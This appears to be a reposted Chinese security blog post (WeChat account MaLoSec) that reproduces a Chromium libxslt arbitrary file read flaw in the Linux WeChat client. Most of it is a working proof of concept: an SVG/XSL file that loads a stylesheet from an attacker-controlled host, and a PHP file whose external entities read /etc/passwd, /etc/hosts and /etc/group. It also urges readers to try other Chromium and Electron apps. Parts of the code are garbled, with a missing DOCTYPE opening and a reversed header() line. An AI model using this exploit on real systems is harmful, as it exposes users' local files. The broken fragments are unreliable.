0x00 影响版本
2023年6月29日前的chromium的版本的应用
0x01 简要说明
Libxslt是基于WebKit的浏览器(如Chrome、safari等)中使用的默认XSL库。Libxslt允许通过XSL document()方法加载文档内部的外部实体。攻击者可以绕过安全限制,从http(s)://urls访问file://urls并获得文件访问权限。
使用默认的沙箱,攻击者可以在iOS(Safari/Chrome)、Mac(Safari/Chrome)、Android(Chrome)和三星电视(默认浏览器)上读取/etc/hosts文件。
当使用-no-sandbox属性时(Electron/AnatomJS),攻击者可以读取任何操作系统上的任何文件。
复现环境
Ubuntu20.04
PHP版本为7.4.3
Linux微信版本为:2.1.8
Linux微信可以在星火应用商店上找到
创建一个svg文件,可以存放在开启HTTP服务的目录下(复现记得修改1.svg里的IP改为自己的地址)
poc:1.svg
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<svg width="1000%" height="1000%" version="1.1" xmlns="http://www.w3.org/2000/svg">
<foreignObject class="node" font-size="18" width="100%" height="100%">
<body xmlns="http://www.w3.org/1999/xhtml">
<xmp><xsl:copy-of select="document('http://xxx.xxx.xxx.xxx/xsl2.php')"/></xmp>
</body>
</foreignObject>
</svg>
</xsl:template>
</xsl:stylesheet>
创建一个名为xsl2.php的文件下,也存放在开启HTTP服务的文件夹下
xsl2.php
<!ENTITY passwd SYSTEM "file:///etc/passwd">
<!ENTITY hosts SYSTEM "file:///etc/hosts">
<!ENTITY group SYSTEM "file://localhost/etc/group">
]>
<p>
<p style="border-style: dotted;">/etc/passwd:
&passwd;
</p>
<p style="border-style: dotted;">/etc/hosts:
&hosts;
</p>
<p style="border-style: dotted;">/etc/group:
&group;
</p>
</p>
加载的内容http://host/xsl2.php(PHP文件仅用于响应最后一行的“Cross Origin Resource Sharing:*”HTTP头):
xsl2.php:
<p>
<p style="border-style: dotted;">/etc/passwd:
&passwd;
</p>
<p style="border-style: dotted;">/etc/hosts:
&hosts;
</p>
<p style="border-style: dotted;">/etc/group:
&group;
</p>
</p>
"Access-Control-Allow-Origin: *"); header(
使用受此影响版本的chrome应用进行访问1.svg文件
可以尝试其他的chromium系或者Electron系应用进行复现
参考链接:https://bugs.chromium.org/p/chromium/issues/detail?id=1458911
免责声明由于传播、利用本公众号MaLoSec所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号MaLoSec及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
原文始发于微信公众号(MaLoSec):chrome文件任意读取-复现
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论